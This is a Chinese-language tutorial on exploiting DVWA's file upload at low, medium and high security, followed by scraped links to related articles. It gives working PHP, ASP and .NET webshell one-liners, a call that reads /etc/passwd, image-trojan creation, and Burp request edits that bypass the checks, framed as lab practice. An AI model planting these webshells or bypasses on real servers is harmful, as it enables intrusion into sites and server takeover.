DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。

中国蚁剑的使用

本来想使用中国菜刀来演示WebShell的使用的,但中国菜刀太老了且不开源,还爆出过各种后门,所以笔者比较有阴影,这里我就使用中国蚁剑,中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员,其使用方法和菜刀差不多而且跨平台。

蚁剑的安装需要下载两个文件,分别是加载器和源码,如下代码托管在了GitHub上:

> git clone https://github.com/AntSwordProject/antSword.git
> git clone https://github.com/AntSwordProject/AntSword-Loader.git

下载好以后点击加载器中的 AntSword.exe 程序然后选择antSword源代码,程序就可以正常工作了,接下来我们就来看下常用的WebShell小马的写法。

1.eval命令使用PHP系统中的函数

<?php eval($_REQUEST['cmd']); ?>

调用方式:http://lyshark.com/shell.php?cmd=phpinfo();

2.system命令使用Linux系统命令

# system 使用系统命令
<?php system($_REQUEST['cmd']); ?> http://lyshark.com/shell.php?cmd=cat /etc/passwd

3.图片木马的制作,PHP为例,执行CMD命令后会在当前位置生成一个lyshark.jpg的图片木马

准备1: shell.php
准备2:shell.jpg
执行CMD命令: copy shell.jpg/b+shell.php lyshark.jpg

4.中国蚁剑小马的写法

PHP: <?php  @eval($_POST['lyshark']); ?>
ASP: <%eval request('lyshark') %>
.NET:<%@ Page Language="Jscript"%><%eval(Request.Item['lyshark'],"unsafe"); %>

如上以PHP代码为例,我们将其保存为shell.php然后上传至PHP主机空间中,配置蚁剑,配置好以后我们直接点击添加,就可以对网站进行管理了。

拓展:在Linux系统中如果想要排查是否有恶意的后门可以使用:fgrep -R 'eval($_POST[' /var/www/  这条命令来排查。

DVWA 文件上传:低安全级别

如下代码就是DVWA低安全级别的代码,可以看到代码中并没有对上传的文件进行任何的过滤,有些Web应用会将上传文件的过滤工作在前端用JS来实现,以为这样可以减少服务器的负载,不过对于专业的技术人员来说,前端JS验证的方式可以被轻松的绕过。前端JS验证是用来纠正错误输入的。

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; // 指定上传目录
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // 获取上传文件名 if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
echo '<pre>Your image was not uploaded.</pre>';
}
else {
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?>

1.这里我们使用Brup来上传一个简单的 lyshark.jpg 文件,然后上传途中使用Brup将其改为 shell.php ,首先Brup开启抓包,然后回到Web应用上选择 lyshark.jpg 图片文件,点击上传按钮,接着Brup会拦截这个请求。

2.然后我们需要修改Brup中的两个参数,需要注意的是:在HTTP协议中有请求头Content-Length它代表的是实体的正文长度,如果此时我们将文件名修改,也就意味着实体正文的长度增加或者减少了,所以也要修改请求头的大小才能够保证上传成功。

上面的例子:我们将 lyshark.jpg 修改为了 shell.php ,也就是说正文的长度减少了2,所以在Content-Length长度上需要减去2,默认是500这里要改成448,然后放行就可以上传成功了。

DVWA 文件上传:中安全级别

随着开发人员安全意识的提高,使用前端JS来验证的方式越来越少,一般会将验证环节放在服务端进行,相比于低安全级别来说,中安全级别代码如下,可以看到该级别增加了MIME类型的验证,开发人员经常会对MIME类型做验证,从而保证上传文件的可靠性,但这样做还远远不够,总还是可以被绕过。

 <?php
if( isset( $_POST[ 'Upload' ] ) ) {
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && // 判断文件类型
( $uploaded_size < 100000 ) ) { if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
echo '<pre>Your image was not uploaded.</pre>';
}
else {
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>

1.首先使用Brup开启抓包,然后回到Web页面上,此时我们上传一个 shell.php 然后点击上传,此时Brup拦截一个请求,通过观察Content-Type参数可发现并不是一个图片的格式,所以上传会失败。

2.我们将Content-Type修改成 image/jpeg 然后放行数据包,同样的可以上传成功,一般 GIF图片格式为 image/gif,CSS格式为 text/css,PHP格式为 application/php。

DVWA 文件上传:高安全级别

高安全级别的代码如下,仅仅只是判断文件的后缀,我们只需要制作一个图片木马。

<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; // Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) { // Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>

1.制作木马,直接上传就好。

准备1: shell.php
准备2:shell.jpg
执行CMD命令: copy shell.jpg/b+shell.php lyshark.jpg

DVWA漏洞演练平台 - 文件上传的更多相关文章

  1. WordPress Checkout插件跨站脚本漏洞和任意文件上传漏洞

    漏洞名称: WordPress Checkout插件跨站脚本漏洞和任意文件上传漏洞 CNNVD编号: CNNVD-201311-015 发布时间: 2013-11-04 更新时间: 2013-11-0 ...

  2. DVWA靶机--简单的文件上传漏洞

    简单的文件上传漏洞(靶机安全级别:low) 事先准备好一句话木马,密码为pass 上传一句话木马,显示上传路径(一般网站是不会显示路径的,这里靶机为了方便你测试漏洞,直接显示出了路径: ../../h ...

  3. DVWA之File Upload (文件上传漏洞)

    目录 Low: Medium: 方法一:抓包修改文件的type 方法二:00截断 High: Impossible : Low: 源代码: <?php if( isset( $_POST[ 'U ...

  4. DVWA-全等级文件上传

    DVWA简介 DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法 ...

  5. 上传漏洞科普[1]-文件上传表单是Web安全主要威胁

    为了让最终用户将文件上传到您的网站,就像是给危及您的服务器的恶意用户打开了另一扇门.即便如此,在今天的现代互联网的Web应用程序,它是一种 常见的要求,因为它有助于提高您的业务效率.在Facebook ...

  6. 漏洞重温之文件上传(FUZZ)

    文件上传FUZZ思路通关upload-labs Pass-16 黑盒阶段 进入第十六关,首先我们能看到,该页面的上传点为图片上传. 首先,先把对方想的简单一点,这里虽然是上传图片,但是可能只是前端js ...

  7. DVWA漏洞演练平台 - SQL注入

    SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,具体来说,它是利用现有应用程序将(恶意的)SQL命令注入到后台数据库引擎执 ...

  8. Web应用安全之文件上传漏洞详解

    什么是文件上传漏洞 文件上传漏洞是在用户上传了一个可执行的脚本文件,本通过此脚本文件获得了执行服务器端命令的功能,这种攻击方式是最为直接,最为有效的,有时候,几乎没有什么门槛,也就是任何人都可以进行这 ...

  9. web安全之文件上传漏洞攻击与防范方法

    一. 文件上传漏洞与WebShell的关系 文件上传漏洞是指网络攻击者上传了一个可执行的文件到服务器并执行.这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等.这种攻击方式是最为直接和有效 ...

随机推荐

  1. final关键字的理解

    final :最终作为一个修饰符 1.可以修饰类,函数,变量: 2.被final修饰的类不可以被继承: 3.被final修饰的方法不可以被复写: 4.被final修饰的变量是一个常量,只能赋值一次,既 ...

  2. ORM 数据库使用

    使用 Flask-SQLAlchemy  来操作数据库 1 配置 本文使用sqlite来作为例子演示,在config.py里面更新下数据库的配置 import os basedir = os.path ...

  3. Hadoop常用操作汇总

    Hadoop Streaming示例程序(wordcount) run_hadoop_word_counter.sh $HADOOP_BIN streaming \ -input "${IN ...

  4. java客户端验证https连接(忽略证书验证和证书验证两种方式)

    首先根据如下操作生成证书,配置springboot https,生成一个简单的https web服务 https://www.cnblogs.com/qq931399960/p/11889349.ht ...

  5. kafka 基本原理简介

    Kafka是啥?用Kafka官方的话来说就是: Kafka is used for building real-time data pipelines and streaming apps. It i ...

  6. OpenStack 虚拟机热迁移流程图

    目录 文章目录 目录 源计算节点与目的计算节点之间的交互流程 Nova 和 Neutron 之间的交互流程 源计算节点与目的计算节点之间的交互流程 热迁移主要包括三个阶段: pre_live_migr ...

  7. linux简单命令3---帮助命令

    1:帮助命令:man 命令: 2:这个帮助用的比较多(还是中文):命令  --help 3:shell帮助 4:详细命令(比man更详细)帮助,用的少,比较麻烦:info

  8. 图解 HTTP 笔记(七)——HTTPS

    本章主要讲解 HTTPS 的基本原理,以及如何利用 HTTPS 防范 HTTP 通信过程中存在的伪装.窃听.篡改等问题 一.HTTP 的缺点 HTTP 在通信过程中会面临以下三种安全问题: 通信使用明 ...

  9. Spark中的CombineKey()详解

    CombineKey()是最常用的基于键进行聚合的函数,大多数基于键聚合的函数都是用它实现的.和aggregate()一样,CombineKey()可以让用户返回与输入数据的类型不同的返回值.要理解C ...

  10. []how to use caffe model with TensorRT c++

    //IHostMemory *gieModelStream {nullptr}; //const char* prototxt = "./googlenet/test_20181010.pr ...